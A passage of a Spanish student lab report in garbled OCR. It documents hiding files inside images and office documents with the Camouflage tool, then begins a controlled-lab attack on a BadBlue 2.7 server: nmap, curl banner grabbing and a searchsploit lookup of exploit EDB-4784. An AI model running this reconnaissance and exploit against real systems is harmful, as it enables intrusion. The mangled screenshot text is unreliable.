O Atras -\) l@ p Buisqueda Hfi‘ Carpetas v

Direcridn |3 C:\Documents and Settings\vwayner_antonio_moya_\EscritoriolArchivos A4 | Ir

B excel, xlsx F
Tareas de archivo y carpeta Archivo ¥LS% ¥ista previa
11 EE "
Wi Cambiar nambre & este archiva IEdlta.r _
" mprimir
@ Maver este archiva = LEERME . - Dtcilf N
= Documento de bexto Adal
Copiar este archiva = | 1xe . ey ECamouflage
) ) = hdobe| EDUncamouflage
@ Fublicar este archivo en Web abri .
i con
() Enviar este archiva por corren e worhc!.docx _IH Fato_
electronico 125 | Archivo DOCK 225 Enwi N
) ===11 15kE Irnag Tiviar &
g Impriniir este archivi
Cork

¥ Eliminar este archivo _H foto_txk _lﬂ foto_| or .ar

h 225 % 225 t'! 225y  Copiar

Imagen JPEG Irnag i
Crear acceso directo
DOtros sitios _H fata_pdf Eliminar
- h 225 % 225 Cambiar nombre

(& Escritario Imagen JPEG
£} Mis documentos Propiedades
[ Documentos compartidos
i MiPC
H Mis sitios de red
Detalles




Camouflage : E| El

This file will be hidden within your camouflaged File. Seftings

Size | Created
ZKB 09042025 0

< | >

Click here to get the latest version Mest > | Cloze

[lustracion 33 camuflaje de foto

=

Select file to use as camouflage

Buscar en: |B.ﬁ.rchivns j I'jE "
__-. | excel xlsx
fc

Documento: | |87 foko_excel
recientes Ltj Foka_pdf

3 Ltj Faoka_kxk

Ltj Fobo_word

E zcritario ] LEERME

= pdf

> word,docx

iz documentoz

bi P :
Wiz zitioz dered  Mombre: |f.:.t.:. j | Ahbrir | |
Tipo: |.-’.'-.|| Files ﬂ Cancelar

= E— — "
llustracion 34 camuflar en foto

™~

]

T
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Camouflage

“our camaouflaged file will be made ta look and act like the fallowing file.

Camouflage Uzing CADocuments and Settingshwapner_antonio_rowa_sEscrtoriotbrch j J

Click here to get the latest version < Back Cloze

1lustracion 35 Ruta de foto

Camouflage
Chooge the location and filename for the camouflage file that iz about to be created.
Create Thig File ||:| Settings\wapner_antonio_moypa_ SEscritariorchivossoto_fotdjpg jJ
[v Read-only
Click here to get the latest wersion < Back Mext > Cloze

llustracion 36 Ruta a guardar y Renombrar de archivo foto_foto

Camouflage

Enter a zecurity paszword for your camouflaged file if you wizh.

Pazawaord e
Yerify Pazzword e
Click here to get the latest version < Back Einizh Close

Hlustracion 37 Contrasenia de archivo foto_foto
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& Archivos

Archiva  Edicién  Wer Favoritos  Herramientas  fAyuda

O Akras IO L% p Busqueda [{:’ Carpetas -

Direccidn |53 Ci\Documents and Settingsiwayner_antonio_mova_\EscritariolArchivos

excel xlsx
Tareas de archivo y carpeta R : Archiva KLS%

11 KB
mfj Cambiar nombre a este archiva

@ Mover este archivo LEERME - pdf
. , Docurenta de texto Adaobe Acrobat Document
D Copiar este archivo 1KE AR

@ Publicar este archivo en Web

Enviar este archivo por corren
eleckranico

word, docx foto_waord
Archivo DOCH 225 % 225
15 kKB Irmagen JPEG

Q Imprimir este archivo

x Eliminar eske archivo Foko_txt foto_excel
225w 225 223 W 225
Imagen JPEG Imagen JPEG

Otros sitios foto_pdf foko_foko

L 225w 225 225w 225
(@ Escritorio Imagen JPEG Imagen JPEG

[} Mis dacumentas
[y Documentos compartidos
g MiPC

la Mis sitios de red

Detalles

llustracion 38 Archivo foto_foto creado



1.14 Carpetas Compartidas camuflar

HEs2Ovrvadno

Sistema

Pantalla

Almacenamiento

Audio

Red

Puertos serie

UsB

Carpetas compartidas

Interfaz de usuario

General

Sistema

Pantalla

Almacenamiento

Audio

Red

Puertos serie

UsB

Carpetas compartidas

Interfaz de usuario

Carpetas compartidas

Nombre Ruta
~ Carpetas de la maguina

A

Carpetas transitor

Interfaz de usuario

Archivo * Maquina ~

Estado visual:

Ver = Entrada ™

Normal (ventana) ~

oc MV i

Acceso

Automontar En

Completo

Dispositivos * Depurar * Ayuda ~

Minibarra de herramientas: v Mostrar en pantalla completa/fluido

Carpetas compartidas

MNomhbre ta

Mostrar en la parte superior de la pantalla

ﬁ' Afadir carpeta compartida

Ruta de carpeta:
Nombre de carpeta:

Punto de montaje:

Aceptar

Acceso

Completo

amuflar ¥

Camuflar

Sélo lectura

Automontar

Hacer permanente

Aceptar

Mostrar en la parte

mpleto

Completo

Cancelar

Automontar En

Depurar ~ Ayuda

Cancelar

uperior de la pantalla

Aceptar

Cancelar
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General Carpetas compartidas

Nombre Ri

Sistema ~ Carpetasdelam

Pantalla mil\Downl
mil...E REDES
Almacenamiento mil\Down
Audio

Red
Interfaz de usuario
Puertos serie
Archivo ™ Maquina ¥ Ver ™ Entrada ~
USB
Estado g Z o
Carpetas compartidas
Minibarra de herrami

Interfaz de usuario

ERssGrvadi |

= Camuflar en "VBoxSvr” (W:)

Archiva  Edicion  Wer  Faworitos  Herramientas  Awuda

l_’@: /:\J Eilsqueda 0 Carpetas -

entrés - \_/J

mil\Downloads\Archivos

Mostrar en la parte

Automontar En

Completo
muflar Completo
Completo
Completo

Dispositivos ¥ Depurar ¥ Ayuda ~

v Mostrar en pantalla completa/fluido

superior de la pantalla

Aceptar

Direccidn | 58w\

@ Tareas de imagenes

TJ ‘er como una presentaciin

@l Pedir copias fotograficas en linea

.iitﬂl Irnprirnir imagenes
Captura de pantalla (13 Captura de pantalla (2)

Captura de pantalla (53 Captura de pantalla (6)

Tareas de archivo ¥ carpeta

J Crear nueva carpeka
@ Publicar esta carpeta en web

DOtros sitios

i MipC

() Mis imagenes
‘d Mis sitios de red

Detalles

Captura de pantalla (3)  Captura de pantalla (4)

Captura de pantalla (73 Captura de pantalla (&)

Captura de pantalla (99 Captura de pantalla (10) Captura de pantalla {11) Captura de pantalla (12)

llustracion 39 Carpeta compartida camuflar subida
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1.15 Cantidad maxima de archivos que deja seleccionar para camuflar 65 archivos

Con el objetivo de determinar la cantidad maxima de archivos que permite ocultar sin
compresion, se realizaron pruebas incrementales.
La Ilustracion 41 muestra el momento en que se alcanzo6 el limite de 65 archivos seleccionados
en la interfaz de Camouflage, sin errores.

En la Iustracion 43 al intentar seleccionar 66 archivos, la aplicaciéon mostr6 un error,
confirmando que el maximo permitido por el interfaz grafico es 65 archivos por tanda.

Para medir la capacidad real total, se aplico un método iterativo: una vez camuflados 65 archivos
dentro de un portador, se volvia a camuflar un nuevo grupo de 65 dentro del archivo resultante,
hasta que el programa dejara de generar resultados validos.
Este procedimiento permiti6é determinar el nimero maximo total de archivos que pueden ser
embebidos antes de que el archivo portador se corrompa o la aplicacion falle.

El nimero exacto alcanzado se registr6 en el documento de evidencias.
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Hlustracion 40 Maxima cantidad de archivos que deja seleccionar



55

O - 3| Drmss B cormn | -
£ Cpocumerts snd S8trastwomer_ardoric_moys Esoor\Com e
Tareas de archivo y carpeta (& Captura d pantal (131)
Wy 150+ 1200
& Mozvsos demertos Imagen PG
coonads Ghi—
(Y Coer o slementon ] Captura o pantala (141
(Y e e L) foxiz
@ Publca en el Wb os semarnos
st

(3 Emér per creo elctrricolos L e
clmantos sauertes fehisd

Cagkuea do partala (138) Capira ds pantals (139) B o
19201200 Wy 501200 1920 1200
Imagen NG ] ImagenPNG Imagen FNG
cagn Copt

13201200 Wy | 1201200 1820 1200

Imagen PG Imagen PNG. Imagen PG

Captura de partala (148) Captura de pantalla (15) Captura de partala (16)
13201200 Wy 01200 120 % 1200

Imagen PG Imagen PNG. Imagen PNG

Caph
1920 % 1200
Imagen PG

1520 x 1200
Imagen PG

Captura de pantalla (17)
1520 % 1200
Imagen PG
X Eimi los elemertos
Captura de pantall (18)
200

Captura de partala (19) Captura de pantall (2) Captura de pantals (20)
19201
Imsgen PG

Captura de pantalla(21)
1820 x 1200 1520.x 1200 1920 % 1200 1520% 1200
Imagen NG Imagen PG Imagen NG Imagmn NG
Otros sitios

@ et
(L) M5 docusertos
23 Documentos compartdos

g mec

& M stcs de red

Detalles 0

Caphura de parkals (23) Captura de pantalla (24) Captura de parkals (25) Captura de pantall (26)
1920 % 1200 1520 1200 1320 x 1200 1920 % 1200
Imagen NG a2 NG Tmagen NG Imagen PG

2222

Captura de pantalla (3) Captara de pantals (30)
1920 1200 1920 x 1200
Imagmn PG Tmagen PG

Captura de pantalla (31)
1920 % 1200
Imaen PG

st 6 archives, 0 capatas

Todos ks tpos Imagen PNG
Todos en C:\Doaments snd Settngsiwayner_ant
45,4 M8 (47,644,653 bytes)

45,5 M8 (47.768,02 bites)

[lséhlecurs e
Closse

(2244224423
fuEen
224422442243

Inicio & Conufior

© ueer

Ilustracion 41 66 archivos seleccionados

O 5 e | capess [T
J C\Doouments and Sextingsiwayrer_antonio_moya_\EsoRorio\Camflar

Tareas de archivo y carpets 2 Captura ds pantalla (131)

| 1501200

@ Moo os demertos ImspmPNG
s

‘Captura de partala (138) Captura de pantalla (139) ) Cagtura de partala (14) Captura de pantalls (140)
s | o | s i
Imagen PNG ) ImegenPNG Imagen PNG Imagen PNG.

P P
s ) s | s ety
Imagen PNG Imagen PNG. Imagen PNG. Imagen PNG

Captura de partala (148) Captura de pantalla (15) Captura de partala (16) Capbura de pantalla (17)
s ) e »n ey
Imagen PNG Imagen PNG. Imagen PNG. Imagen PNG

Captura de pantala (141)
1520 % 1200

I Y —
e Captira do pantal (147)
3 Eir s i oy br=yirkls
X b los lemertos
[ Capurs de pantalla (18) Captura de pantala (21)
1520 % 1200 Camouflage 1520 < 1200
Imagen|
Otros stios
(Captura de pantalla (22)
@ Escrtoro | 10x12m
(L) M5 docusertos Bow
23 Documentos compertidos
q mec

&3 M scs de red

Detalles 0

Cannot find fls *C:\Docuents o',
Captura de pantall (26)
1920 % 1200
Cameuslsgs Usage:

Comastog,enn < Fhramel [ Foamez] Fiecsna3).. |, sl
(o Camouflage Fles) 1200 f?‘i::‘l; =

Carmoulage,exs -u Flensmet [ Fiensma?] [ Flenamed)...
(ta Lncaeaflage fies)

Captura de pantalls (27)
1920 % 1200

2

Ima0en PG
Captura ds pantalla (32) c
1920 % 1200 5
Imagen

st

Camoufloge.oxe
(Cameufinge Settings)

Captura ds pantall (36)

222222222222
ER LELE
2% 3% 3

23242

[P
EATAFAFAF

Ilustracion 42 Error 66 archivos



56

1.16 Capacidad Maxima de archivos que deja Camuflar en formato PNG

En las Ilustraciones 44 a 48, se observa el proceso de ocultar archivos dentro de un PNG.
Se registr6 el tamafio final del portador y la cantidad méaxima lograda, evidenciando resultados

similares al formato JPG.

Camouflage (- ”E Xl
Settings

These files will be hidden within your camoutlaged file.

Mame Size | Created

I | >

Click here to get the latest version < Back I Mest > | Cloze

Hlustracion 43 Camuflar en formato PNG



Select file to use as camouflage

Buzcar en: | | &rchivos

Documentos
recientes

ol

E zcritario

3

Mis documentos

=
@

hiz zitios de red

[

L]

[

& &5 E-

el sy
Ltj foto_ewxcel
Ltj foto_foto
ij Foto_pdf
ij foko_todo
@ foko_kxk
Ltj Foto_word
[Z] LEERME
T pdf

word.docx

Marmbre: |fc|h:|

-] sprir |

Tipe: | &)l Files

j Cancelar

Camouflage

'our camaouflaged files will be made to look and act like the following file.

Camouflage Uszing

Llustracion 44 Camuflar en foto

Click_here to get the latest verzion

< Back

tz and Settingshimapner_antonio_moya_hE scrtonohdrchivoshfotopg jJ

Hest »

1lustracion 45 Ruta de archivo foto

57



Camouflage

Chooge the location and filename for the camouflage file that iz about to be created.

Create Thiz File Itings'\wayner_antcunin_muya_'\Esu:ritu:uri-:u'\EamufIar'\fu:utu:u_u:amuflage.ip;IJ

¥ Fead-only

Click here to get the latest version < Back Mt > Close

Ilustracion 46 Ruta a guardar y Renombrar de archivo foto_camuflaje

i o) g
e ) ] =
FE ) === [ =
- ITFE:"%MM-M) ﬂ EE:’:?WW m Eﬁ:ﬁmmv

Cashurs coontala (63) Captura do paral (64)
Wy iy Wy o0 im0
Inam G Egun P13

| Canoteons s o CAD0curerts nt
Seltras\aeaioric_mere, \E ik Camuor g

Caotura 6 parcl (52)
Wy om0
TP

¥ inicio

£ 2
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Propiedades de foto/

General | Fesurmen |
til Foto?

Tipo de archivo: Imagen JPEG

Se abre com: Ej Wisor de imagenes v [ Cambiar. .. J

Uhicacian: C:\Documents and Settingstwayner_ankonio_moy.

Tamario: 2,00 GB (2,148,210, 277 byhes)

Tamario en disco; 2,00 GE (2,145,212, 736 byhes)

Creado: migrcoles, 03 de octubre de 2025, 23:50:03

Maodificado: jueves, 09 de octubre de 2025, 0:02:05

Clikimo acceso: jueves, 09 de octubre de 2025, 5:07:32

Atributos: [ ]sdlalectura [ ] oculko [Opci-:unes avanzadas. . J
[ dcepkar ] [ Zancelar J fplicar

————————————————————————————————————————————
llustracion 47 Capacidad maxima que permite camuflar en un formato PNG
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1.17 Capacidad Maxima de archivos que deja Camuflar en formato EXCEL

Las Ilustraciones 49 a 54 documentan el procedimiento al usar un archivo excel.xlsx como
portador.

El sistema permitid ocultar correctamente varios archivos, aunque con incremento notable del
tamafio del contenedor.

vista previa
Edikar
Tropirie

Abrir con
Enviar a

Cortar
Copiar

Crear acceso directo
Elirinar
Cambiar nombre

Propiedades

2303334333333

(2, 04)(2)(4 (3[4 (3 4[24 ()4
(2.03)3)(4 33343333

2. 04,(3(2 043332332

12304, (3,03 (44 34334

Camouflage

Theze filez will be hidden within your camouflaged file.

t ame Size | Created -~
ptura de pantalla [125).phg 1 W
ptura de pantalla [127).png

aptura de pantalla [128).prig
by . nantalla (1 ; . s

Il | >

| Y

Click here to get the latest version

llustracion 48 Archivos a Camuflar en formato EXCEL



Select file to use as camouflage

Buzczar en: | = Archivos

Documentos | |¥9) Foko_excel

recientes Ltj Fako_Fato
e Ltj Foko_pdf
ij foko_todo
E zcritorio L*j Foko_bxt
ij Foko_word
3 [Z] LEERME
iz docurnentos E pof

EI wiord, doc

ki P
Wiz zitioz dered  Mombre: |e:-:|:e| j Ahirir |
Tipo: |.&.II Files j Cancelar

L«
B
E

—

]

[lustracion 49 Camuflar en formato EXCEL

Camouflage

Y'our camouflaged files will be made ta look, and act like the following file.

Carmauflage L zing ahd Settings'wayner_antonio mowa

Click here to get the latest version < Back Mest = Claze

Ilustracion 50 Ruta de archivo excel
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Camouflage

Chooze the location and filename for the camauflage file that i about to be created.

Create This File I and Settingz wayner_antonio_mowa_SE scritorioCamuflarexcell .:-:Ist
v Fead-orly

Click here to get the latest version < Back Mext > | Cloze |

[lustracion 51 Ruta a guardar y Renombrar de archivo excel

Camouflage

Enter a zecunty pazzword for your camouflaged file if you wizh,

FPaszward ||

Werify Pazsword I

Click here to get the |atest version < Back Einizh | Cloze |

Ilustracion 52 Contrasena de excel

Camouflage

Carmnouflaging files to C:ADocuments and
Settingshwayner_antonio_moyaebbasntais

Camouflage

Q IJnable to Camouflage!

Bad record number (630

Click here to get the latest version < Back | Einizh

Lloze
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Propiedades de excel?. xlsx

General | Resumen

=

Tipo de archivo;

Se abre con;

Ibicacian:
Tamario;

Tamario en disco:

Creado;
Maodificado:

Ulkimo accesa:

excelZ, xlsx

Archiva KLS¥

Aplicacion desconocida [ Carnbiar, ..

Ci\Documents and Settingsiwavner _ankonio_moy.
2,00 GB (2.147.901,857 bytes)

2,00 GE (2.147.905.536 bytes)

jueves, 09 de octubre de 2025, 9:05;04
jueves, 09 de octubre de 2025, 9:16:13

jueves, 09 de octubre de 2025, 9:16:13

Atrbutos: [ Séla leckura [ Oculko Opriones avanzadas..,

Arcepkar l [Cancelar Aplicar

Mlustracion 53 Capacidad maxima que permite camuflar en un formato EXCEL
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1.18 Capacidad Maxima de archivos que deja Camuflar en formato TXT

64

En las Ilustraciones 55 a 57, se observa el proceso de ocultar archivos dentro de un TXT.
Se registr6 el tamafio final del portador y la cantidad méaxima lograda, evidenciando resultados

similares al formato a los anterior.

Yista previa
Editar
Irnprimir

Enwviar a

Cortar
Copiar

Crear accesn directo
Eliminar
Cambiar nombre

Propiedades

llustracion 54 Camuflar archivos en txt

Camouflage

Thesze filez will be hidden within your camouflaged file.

M ame Size | Created a
aptura de pantalla [53]. phg I T
ptura de pantalla [55).png
, w
< i | >
Click here to get the |atest version < Back I Mext > Cloze

Hlustracion 55 Camuflar archivos en txt/



Select file to use as camouflage

Buscar en: | I Archivos

_2 excel, xlsx
4 Ltﬂ foko
Documentos || fobn_excel

recientes Ltﬂ Foka_Foka
- Ltjfu::tu:u _pdf |
Lthu:utu:u_thD
E scritario Lt'ﬂf.;.t.;. kxk

ijfntn_wurd

iz documentos t pof
word, doc

ki P
Miz zitioz de red  Mombre: |LEEHI'-.-1E j | Ahbrir |
Tipo: |,£'-.II Files j Cancelar |

Kl
H
E

ol

]

Camouflage

'our camouflaged files will be made to look, and act like the following file,

I Camouflage Using CADocuments and 5ettings"-.wa_l,lner_antu:uniu:u_mu:u_l,la_'xEscriturin'\.ﬁ.rchﬂJ

Cloze

| Click here to get the latest wersion < Back




Camouflage

Chooze the location and filename for the camouflage file that iz about to be created.
| Create This File II:I 5Ettings'\wayner_antu:uniu:u_mnya_"\Escritu:uriu:u'\Eamquar'\.LEEHME1[t:-:L|J
¥ Fead-only
|
| Click here to get the latest version < Back I et > | Cloze |

#2 Camouflage g

Enter a zecurity password for your camouflaged file if you wish.

Paszward ||

Wty Pazswaord I

Click. here to get the latest wersion < Back Einizh I Close |

Camouflage

Camouflaging files to C:A\Documents and
Settingshwayner_antonio_mg acuiboric

Camouflage

Q Unable bo Camouflage!

Irvalid property walue (3500

Click here to get the latest version < Back Einizh

LCloze
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~ Camouflage : : :

Camouflaging files to C:ADocuments and
Sethingshwayner_antonio_moya —

Camouflage

@ IUnable to Camouflage!

Bad record number 53]

Acepkar |

Click. here to get the latest wersion < Back I Einizh I Cloze |

Propiedades de LEERME1

General | Resumen |

= | LEERMEL |
Tipo de archivio; Documento de bexto
Se abre con: 3 Bloc de notas [ Cambiar. .. ]
Ibicacian: C:ADocuments and Settingsiwayner_ankonio_moy.
Tamariog 2,00 GE(2,1458,150.079 bykes)
Tamario en disco: 2,00 56 (2,145,151, 296 bytes)
Creado: jueves, 09 de octubre de 2025, 23:12:23
Modificado: jueves, 09 de octubre de 2025, 23:54:54
Clltima acceso: jueves, 09 de octubre de 2025, 23:54:54
Abributos: (sélo lectura [ Oculko [Dpu:iu:unes avanzadas. ..

L Aceptar J [ Cancelar ] fplicar

llustracion 56 Capacidad Maxima de archivos que deja Camuflar en formato TXT
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1.19 Capacidad Maxima de archivos que deja Camuflar en formato PDF

En las Ilustraciones 58 a 64, se muestra la serie de pasos para ocultar archivos dentro de un
documento PDF.
El proceso fue exitoso, aunque el tamano final del portador aument6 considerablemente.

Yista previa
Editar
+ Imiprirniv

B3 Camouflage
B Uncamaouflage
1 Abrir con »

Enviar a 4

Corkar
Copiar

Crear acceso directo
Elirninar
Cambiar nombre

Propiedades

Llustracion 57 Camuflage

Camouflage

These files will be hidden within pour camouflaged file.

tura de pantalla [145). png

Click here to get the latest version Mest » Close

llustracion 58 Archivos a Camuflar en formato PDF
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r

Select file to use as camouflage

Buscar en: |E} Archiviog ﬂ Ifi( '

_2 exocel, xlsx
i Ltj foka
Documentos | | fato_excel

recientes Ltj foka_foko
= Ltj foto_pdf |
Ltj foko_todo |
E zcritaria Ltj] foko_kxk
ij foko_word r

i [Z] LEERME .
I,

Miz documentos wu:uru:l.u:lu:u:x I

T |

)

ki PC I
l vr_g |
Mis sitios dered  Mombre: ||:||:|f j &brir !
Tipa: |.-’-'-.II Filez J Cancelar | I
— — —

—
1lustracion 59 Camuflar en formato PDF

Camouflage

Y'our camouflaged files will be made to look, and act like the following file,

Camouflage Using CADocuments and Settings'\.wa_l,lner_antu:uniu:u_mu:u_l,la_'\Escriturin'\.ﬁ.rchﬂJ

Click, here to get the latest version < Back

Cloze

1lustracion 60 Ruta de archivo pdf



Camouflage
Choose the location and filename for the camouflage file that is about to be created.
Create This File Its and Settingz'wavner_antonio_moya_%E scritonichCannuflarpdf . pd ;IJ
¥ Fead-only
Click here to get the latest version < Back Mext > | Cloze I

Ilustracion 61 Ruta a guardar y Renombrar de archivo pdf

Camouflage

Enter a security password for your camouflaged file if you wish.

Paszward I

Werify Pazsward |’1

Click here to get the latest version < Back | Finish Cloze

1lustracion 62 Contraseiia de archivo pdf

Camouflage

Camauflaging files to C:ADocuments and
Settingshwayner_antonio_maya_ ME zcrtorioCamuflarypdfl . pdf...

[ JLIITILITII]Il]] Camouflage

@ IUnable to Camouflage!

Subscript out of range (90

Click here to get the latest ve I Einizh Claze
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Propiedades de pdf1

General |PDF | Resumen |
ﬂ | pdF1 |
o

Tipo de archivo: Adobe Acrobat Dacurment

Se abre con: u Adobe Reader 8.0 [ Cambiar. .. ]

Ubicacion: Ci\Documents and Settingsiwavner _antonio_movy.

Tamario: 1,70 GB {1.829.340.432 bytes)

Tamario en disco: 1,70 GE (1.829,.343.232 bytes)

Creado; viernes, 10 de octubre de 2025, 0:11:43

Modificado: viernes, 10 de octubre de 2025, 0:14:16

Ulkimo acceso: viernes, 10 de ockubre de 2025, 0:14:16

Atributas: [ séla lectura [ ] Oculka [Opu:iu:unes avanzadas. ..
[ Aceptar ] [ Cancelar Aplicar

o ey o e ——— T S S S—— ey ]
llustracion 63 Capacidad Maxima de archivos que deja Camuflar en formato PDF
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1.20 Capacidad Maxima de archivos que deja Camuflar en formato WORD

Finalmente, en las Ilustraciones 65 a 70, se registrod la ejecucion del proceso al usar un documento
Word como portador se documentaron los resultados finales de cantidad y tamaiio.

Yista previa
Editar
Irnprirnir

28 Camouflage
B8 Uncamaouflage
Abrir con r

Enviar a 4

Corkar
Copiar

Crear acceso direckno
Elirninar
Cambiar nombre

Propiedades

1lustracion 64 Camouflage

Camouflage

These filez will be hidden within pour camouflaged file.

aptura de pantalla [124). prg
aptura de pantall; .phg

aptura de pantall; .phg

i : .. [ }

Click here to get the latest verszion Mewt > Cloze

llustracion 65 Archivos a Camuflar en formato word



r

Select file to use as camouflage

Buscar en: |@.ﬁ.rchivus ﬂ I'fF '
L excel xlsx
l ﬁ &1 fato

] ocumentos Ltﬂ Fabo_ewxcel
reclientes Ltﬂ Foto_Foto

[' Ltﬂ Foto_pdf
i 1| Foto_todo
E scritorio Ltﬂ Fabo_bxt
Lfﬂ foko_word

..-} [Z] LEERME
-
. =] DE":
Miz documentos o, doc:
Wi FC
Wiz zitioz de red  Mombre: |W|:|r|:| j | Ahbrir |
Tipo: |,-i'-.|| Filez ﬂ Cancelar

=

—
Hlustracion 66 Camuflar en formato word

Camouflage

Yaur camauflaged files will be made ta laok and act like the fallawing file.

Camouflage Uszing and 5ettings"xwayner_anh:unicu_ml:uya_"-.Escriturin'\.&rcﬁvns"«wnrd.dl:n::-cﬂJ

Click here to get the |lakest version < Back Hest » Cloze

llustracion 67 Ruta de archivo word



Camouflage _
Choose the location and filename for the camouflage file that iz about to be created.
Create This File Iand Settingzhwayner_antonio_moya_E zenbarioCamuflarwward] . do ;IJ
¥ Fead-only
Click here to get the latest version < Back Mext > Close

Ilustracion 68 Ruta a guardar y Renombrar de archivo word

Camouflage

Camaouflaging filez ta C:A\Documents and
Settingzhwayner_antonio_moya ME zcritorioCamuflarword . docs. ..

|§| IRNNNEEEER

8 Unable ko Camouflage!
Bad record number {563}

Acepkar |

Click here to get the latest v |- | Finizh Cloze
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Propiedades de word1. docx

General |RESLII'I'IEI'I

_ ."L

|I wordl docx |
Tipo de archivo: Archivo DK
5e abre con; Aplicacion desconocida [ Cambiar. .. ]
Ubicacian: C:\Documents and Sektingsiwayner_antonio_moy.
Tamario; 2,00 GE (2,143.061.593 bytes)
Tamario en disco: 2,00 GE (2,148,065,280 bytes)
Creado: viernes, 10 de octubre de 2025, 0:18:21
Madificado: viernes, 10 de octubre de 2025, 11:08:36
Clikimo acceso: viernes, 10 de octubre de 2025, 11:08:36
Atributos: [l 5éla lectura [ ] Oculta Opciones avanzadas, ..

Acepkar ] [ Cancelar Aplicar

llustracion 69 Capacidad Maxima de archivos que deja Camuflar en formato WORD
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2 CAPITULO 2 EXPLOIT BADBLUE

En este capitulo se documenta el proceso de andlisis del servidor BadBlue version 2.7, instalado
en una maquina virtual Windows XP con fines educativos y de laboratorio controlado.

BadBlue es un pequefio servidor web para compartir archivos, pero presenta vulnerabilidades
graves en versiones antiguas que pueden comprometer la seguridad del sistema.

Aegslistion Infaimalian

Ful piamec [ello
Emal address |tello@gmal.com

End Uzer Licerse &greamant fon BadBlua Safhaans

Ertr= Agiesment. -~
f'ou agrae thal tiz iz the anlite agiesment betreen you and

WRI. which suparedes arg prior agreemant, whether wiicien

or oral, and =l ather commuricatiors bebueen 'WHI and vow

ielating bo the cubject malter of this Agreemeant

Heservation of nghts,
Al nghls nol sxprezdy granted in this Agiesmenl 2ie morved
by HIL

Aoize Dzagies

llustracion 70 Licencia BadBlue
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Archivo

/- BadBlue: the file-sharing web server anyone can use - Windows Internet Explorer

e 122004 S 8l4|x £~
Aedwo  Edcin  Ver Favorlos Hemamertas  Ayuds
Favorkos e B Homalgauso £

{8 8ad8hse: the Fle-shaving web server anyane can e R Y d - Phgrae Seqridsdv Hersmirtssv @)

Fil h:
ks Share your Excel

.
*
Search using a partial word (inv matches spreadsheets over =
invoices), by file extension (Jjpg, mp3, xis,
...) or with multiple words (photo album the web. Fast. ﬂ
would match all files that include the words Easy Guaranteed -
photo and album). ) )
Click here for a special offer on
BadBlue
Enterprise Edition .

Ziniclo. | canils

nonssmoT

D 2 mm de liuvia a ESP o
Ssbad; L TR AL

2.1 1P Windows XP

» S5imbolo del sistema

Microsoft Windows XP [Versidn 5.1.26001
CC» Copuright 1985-2881 Microsoft Corp.

C:~Documents and Settings“wauner_antonio_moya_*ipconf ig

Conf iguracidon IP de Windows

Adaptador Ethernet Conexidn de Area local

Sufijo de conexidn especifica DHS
Diveccidn IP. . . . . . . . . . .
Miscara de subved . . . . . . . .
Puerta de enlace predeterminada

192.192.192.12
255 255 .255.0@
192.192.192.1

3]

Adaptador Ethernet Conexidn de area local

Sufijo de conexidn especifica DNS
Direccidn IP de autoconfiguracidn
Miscara de subred . . . . . . . .
Puerta de enlace predeterminada

69.254.133.21
55.255.8.8

1
2

C:~Documents and Settings“wayner_antonio_moya_>

llustracion 71 IP Windows XP



/home/tello

192.192.192.12

PING 192.192.192.12 (192.192.192.12) 56(84) bytes of data.
64 bytes from
64 bytes from
64 bytes

192.192.192.12:
192.192.192.12:
192.192.192.12:
192.192.192.12:
192.192.192.12:

from
64 bytes from
64 bytes from
AC

icmp_seq=1 ttl=128
icmp_seq=2 ttl=128
icmp_seq=3 ttl=128
icmp_seq=4 ttl=128

icmp_seq=5 ttl=128

— 192.192.192.12 ping statistics —

5 packets transmitted,

time=3.82
time=1.62
time=1.90
time=2.10
time=1.48

time 4010ms

rtt min/avg/max/mdev =

5 received, 0% packet loss,
1.484/2.184/3.822/0.846 ms

llustracion 72 Ping entre kali y XP

78

En primer lugar, desde la maquina atacante (Kali Linux), se verificd que la victima (Windows XP

con BadBlue) tuviera activo el puerto 80/tcp, caracteristico de servicios HTTP.

Se usaron los siguientes comandos de diagnostico:

/home/tello

Nmap scan report
Host is up (@.

Nmap scan re

Host is up (

Not shown:
STATE S
open
open

0 (QEMU vir

i Cpe

.edu.tw (192.192.19

r

Nmap scan report for medmgmt-
Host is up (
Not shown: 995

jen.edu.tw (192.192.192

oto-unreach

emtechni acle VirtualBox virtual NIC)

Or irtualBox virtual NIC)

XP; CPE: cpe:/o:microsoft:windows, cpe:/o:micr

ection performed.
IP addresses

ults at http
econds

ire in ignored states.

rwindows_x

nmap.org/submit/ .
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PORT STATE SERVICE VERSION
80/tcp open http BadBlue http

N Kali Forums & Kall NetHunter  Exploit-DB » Google Hacking DB

File search: Go!

Share your Excel 3
Search using a partial word (inv matches invoices), g
by file extension (jpg, mp3, Xis, ...) or with multiple spreadsheets over 9
words (photo album would match all files that
include the words photo and album). the web. Fast.
Easy. Guaranteed. 1|

Click

here for a special offer on
BadBlue
Enterprise Edition

La respuesta confirmé que el puerto estaba abierto y en uso por un servidor web.

2.2 Identificacion del servicio HTTP

A continuacion, se ejecuto:
curl -1 http://192.192.192.12:80/

/home/tello
http://192.192.192.12:80/
HTTP/1.1 200 OK
Server: BadBlue/2.7
Content-Type: text/html
Accept-Ranges: bytes

Date: Wed, 15 Oct 2025 ©05:14:15 GMT

ETag: "3f45655a8f87dbel:43d”

Last-Modified: Fri, 22 Aug 2003 00:35:38 GMT
Content-Length: 1085

Connection: close

Cache-control: public
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Esto permiti6 identificar con precision la version del servidor: BadBlue 2.7, conocida por
vulnerabilidades documentadas publicamente.

2.3 Busqueda de vulnerabilidades en Exploit-DB

Con la version del software identificada, se utilizdo SearchSploit, herramienta incluida en Kali
Linux que consulta la base de datos de exploits publicos (Exploit-DB).

Comando ejecutado:

searchsploit badblue 2.7

/home/tello

El primer resultado corresponde al exploit EDB-ID: 4784, un desbordamiento de bufer remoto
descubierto por Luigi Auriemma y publicado en diciembre de 2007.

La ruta interna del exploit es:
/usr/share/exploitdb/exploits/windows/remote/4784.pl

Para confirmar su ubicacion, se ejecuto:
searchsploit -p windows/remote/4784.pl

/home/tello
windows/remote/4784 . pl
Exploit: BadBlue 2.72 - PassThru Remote Buf
URL: 2 X

Path: /fusr/sha

Codes: 0SVDBE-42416, CVE-2087-6377
Verified: True
File Type:
Copied EDB-ID #4784's path to the clipboard
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2.4 Analisis del codigo fuente del exploit

El exploit fue copiado al directorio de trabajo con el comando:
cp /usr/share/exploitdb/exploits/windows/remote/4784.pl .

Posteriormente se visualizd su contenido:

nano 4784.pl

Dentro del script se observa que esta escrito en Perl, utilizando la libreria 10::Socket para
establecer una conexion TCP con el servidor victima.

/home/tello
fusr/share/exploitdb/exploits/windows/remote/4784.pl .

/home/tello
Etello_ubuntu.elf DicLampiao. fotos.cpp
hydr store

Diclampiao.txt

/home/tello

4784.pl

